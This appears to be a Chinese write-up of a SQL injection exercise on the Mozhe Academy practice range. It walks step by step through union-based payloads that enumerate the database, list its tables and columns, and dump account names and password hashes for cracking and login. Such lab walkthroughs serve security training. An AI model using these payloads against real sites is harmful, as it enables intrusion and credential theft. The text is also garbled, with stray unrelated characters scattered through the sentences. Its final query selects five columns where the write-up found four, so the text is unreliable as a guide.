使用墨者學(xué)院靶場(chǎng)測(cè)試
先瀏覽頁(yè)面判斷存在注入 >查長(zhǎng)度>查數(shù)據(jù)庫(kù)>查表>查字段>查數(shù)據(jù)數(shù)量>查用戶+密碼>解密登錄 找不到可注入點(diǎn)可以觀察網(wǎng)頁(yè)是否可以跳轉(zhuǎn)到其他頁(yè)面德谅,并重新尋找注入點(diǎn)账胧,查詢的時(shí)候盡量使用group_concat()防止漏數(shù)據(jù)。
(1. 登錄頁(yè)面沒有賬號(hào)密碼,只能暴破或者SQL注入數(shù)據(jù)庫(kù)查看帳號(hào)密碼 2. 發(fā)現(xiàn)公告中存在注入點(diǎn) 3. 通過數(shù)據(jù)庫(kù)函數(shù)和顯示位查看數(shù)據(jù)庫(kù)版本信息、數(shù)據(jù)庫(kù)名 4. 爆數(shù)據(jù)庫(kù)表名 5. 暴數(shù)據(jù)庫(kù)列名 6. 輸出帳號(hào)密碼列(使用group_concat()函數(shù)) 7. 發(fā)現(xiàn)密碼有點(diǎn)像MD5加密,去解密下 8.登錄帳號(hào)和解密后的密碼 9.獲取key)
1桃熄、尋找注入點(diǎn) “id=1 and 1=1 ”或者“id=1 and 1=2 ”,1=2時(shí)彈出錯(cuò)誤證明是注入點(diǎn):
id=0 union select 1,2,3,4 (2回顯字段)
2型奥、判斷注入類型(數(shù)字型瞳收、字符型)
3、order by x判斷列的數(shù)量(4字段)
4厢汹、聯(lián)合查詢 union select 判斷2,3存在回顯
5螟深、查數(shù)據(jù)庫(kù)名和用戶名:
//124.70.22.208:44067/new_list.php?id=0 union select 1,database(),user(),4
6、查版本和系統(tǒng):
//124.70.22.208:44067/new_list.php?id=0 union select 1,version(),@@version_compile_os,4
查出數(shù)據(jù)庫(kù)版本在5.0以上可以使用內(nèi)置庫(kù)
7烫葬、查表名:
://124.70.22.208:44067/new_list.php?id=0 union select 1,table_name,3,4 from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"
8界弧、使用group_concat(table_name)查詢所有的表名:
://124.70.22.208:44067/new_list.php?id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"
9、查出某表中所有列名
//124.70.22.208:48927/new_list.php?id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
10搭综、查出該表需要的列的具體值
//124.70.22.208:48927/new_list.php?id=0 union select 1,name,password,4 from StormGroup_member limit 0,1
經(jīng)測(cè)試不對(duì)垢箕!可能是其它行的賬號(hào)。
11兑巾、那就用group_concat查出所有行的數(shù)據(jù)
//124.70.22.208:48927/new_list.php?id=0 union select 1,1,group_concat(name),group_concat(password),4 from StormGroup_member
原來有兩行數(shù)據(jù)条获,測(cè)試第二個(gè)才對(duì)。